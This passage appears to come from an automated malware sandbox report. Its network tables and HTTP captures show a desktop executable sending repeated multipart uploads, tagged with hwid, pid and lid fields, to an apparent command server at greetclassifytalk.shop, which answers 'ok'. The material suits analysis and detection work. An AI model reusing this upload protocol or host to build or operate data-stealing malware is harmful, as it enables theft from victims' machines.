2024-04-25 11:33:02 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: greetclassifytalk.shop
2024-04-25 11:33:02 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 31 32 39 44 35 33 31 33 36 35 37 39 37 32 35 44 38 42 37 35 43 44 30 39 43 35 43 32 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DA129D53136579725D8B75CD09C5C254--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-25 11:33:02 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ajvb5nhpbg5ntuv7k9d97do8ca; expires=Mon, 19-Aug-2024 05:19:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D11JI%2FfsWDxkYZdkxalNFJZoQ%2BFfjF4yHbUbM6BHlVHGRzubTT%2BWFm2ng2ytaxTKF1vpfmZiSJAV4TNVwCRXSALKG1egKyba8UVQTKByq91qE7j5q45g9Xw3djvWG5cAYuiAyb67aokK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e041088b044eb-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 0d 0a Data Ascii: 11ok 185.152.66.230
2024-04-25 11:33:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:33:03 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: greetclassifytalk.shop
2024-04-25 11:33:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 31 32 39 44 35 33 31 33 36 35 37 39 37 32 35 44 38 42 37 35 43 44 30 39 43 35 43 32 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DA129D53136579725D8B75CD09C5C254--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-25 11:33:03 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-25 11:33:03 UTC	808	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8f6n69aeb7njllav75r9jutra2; expires=Mon, 19-Aug-2024 05:19:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D6BWxjhfPtRcEoeH%2BriHjVfgLIqpl33lwcbHWahorsJmt9jNwIkPABVV0XZJ%2BHSK0Wx7MF%2BwHMAeF61rcBFu7Ry4CK4C7AOx30zMMk3O%2B%2Berm2MUGCbMdxyYksdgob4uXakTboibGh5F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e0416ad924564-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 0d 0a Data Ascii: 11ok 185.152.66.230
2024-04-25 11:33:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:33:04 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: greetclassifytalk.shop
2024-04-25 11:33:04 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 31 32 39 44 35 33 31 33 36 35 37 39 37 32 35 44 38 42 37 35 43 44 30 39 43 35 43 32 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DA129D53136579725D8B75CD09C5C254--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-25 11:33:04 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l1rcis5l9chrt8mmeh4b3trrb0; expires=Mon, 19-Aug-2024 05:19:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2VPA4uLG71TBdPU8Avt72nNaNY0EXyYo2EvgXfHoy%2Ff9NPcmudu9APegxcguaV4CE0%2BL7k2MxsN8ccRtOz%2FkiM4sdNDZozZ4SJyL144%2B77DUVi0MWJOTVmR8SxbDnBvPKDsfFUmV6el"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e041cfeb712e9-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 0d 0a Data Ascii: 11ok 185.152.66.230
2024-04-25 11:33:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:33:04 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1378 Host: greetclassifytalk.shop
2024-04-25 11:33:04 UTC	1378	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 31 32 39 44 35 33 31 33 36 35 37 39 37 32 35 44 38 42 37 35 43 44 30 39 43 35 43 32 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DA129D53136579725D8B75CD09C5C254--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-25 11:33:05 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ve41s1gnbtokkgi3dq9umtmsp; expires=Mon, 19-Aug-2024 05:19:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6q3PsKdE5O3Kb0DnC97nyOplslcvjbCqkmiNG8NQHa4B%2FtNJndQJjxwZ1M9LOqQXJ7vfgtSDuIEgLR7E%2F1jLT2NjTx5Pb3oU2k6C4L4gUsUS5iDX0elzl4%2FjgDCTmJkYx2IGRjAiC%2FmH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e042229914578-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 0d 0a Data Ascii: 11ok 185.152.66.230
2024-04-25 11:33:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:33:06 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569440 Host: greetclassifytalk.shop
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 31 32 39 44 35 33 31 33 36 35 37 39 37 32 35 44 38 42 37 35 43 44 30 39 43 35 43 32 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DA129D53136579725D8B75CD09C5C254--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 80 df 1e 9a 36 3a 50 10 fc e8 47 b3 37 8f 8c 04 aa c4 af dd 3c 9a 87 a2 d6 47 47 3c 57 7f be d5 10 d2 86 db 54 27 Data Ascii: Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H36:PG7<GG<WT'
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 95 a7 76 27 9e 4d 6a 3d 48 be c0 68 58 38 c1 6e d4 cd 93 08 63 a6 d6 94 7d 28 0d c5 f8 68 f6 22 bc 6c 5e d8 f8 e1 Data Ascii: h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>Xv'Mj=HhX8nc}(h"l^
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b e7 68 7e 65 ad fd e4 4f bb 67 78 fa 2d 7f aa 1e 74 7b f5 c1 56 8d 62 51 da 3c 56 ec a8 fd c9 7f 89 ed d5 e1 d7 f3 Data Ascii: IW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<h~eOgx-t{VbQ<V
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 2c 2b 41 10 f1 67 7b 3a 50 d1 7e 86 24 d6 1a a4 06 6e 45 69 53 0f 7d dc f7 90 f5 e0 26 e7 bc 0e a1 fd 4c f4 76 4c Data Ascii: Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<#],+Ag{:P~$nEiS}&LvL
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 53 9f d5 93 c7 84 c0 3e 3f aa 43 fa a7 98 e7 41 fe 55 8c 1c 21 e6 f8 7d 1e b0 b0 d3 ce 6e 6b df 45 a1 1b 89 2e 68 Data Ascii: [:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDSS>?CAU!}nkE.h
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 5c dd 18 2d f9 58 23 3d 5a a9 d4 b7 59 09 53 1f 03 10 5d 4a 7f c7 01 3c ca 3e 4a e7 3c 85 f2 ee 92 9f 19 7c 28 38 Data Ascii: %z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F\-X#=ZYS]J<>J<\|(8
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf a7 24 e0 9a d7 d2 e6 97 44 3c a9 d6 54 2e fd e7 75 da 59 bd a1 66 da 1c 62 a9 00 e6 75 53 75 c7 07 ba 63 da d8 44 Data Ascii: !CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc($D<T.uYfbuSucD
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 e5 91 f9 f9 66 b7 e8 51 61 82 c2 4c ed 65 61 be 6f d5 9f e5 19 da fc 74 2a db a5 8a c8 24 52 d2 9e 04 31 f1 ba e9 Data Ascii: ~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&fQaLeaot$R1
2024-04-25 11:33:06 UTC	15331	OUT	Data Raw: b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 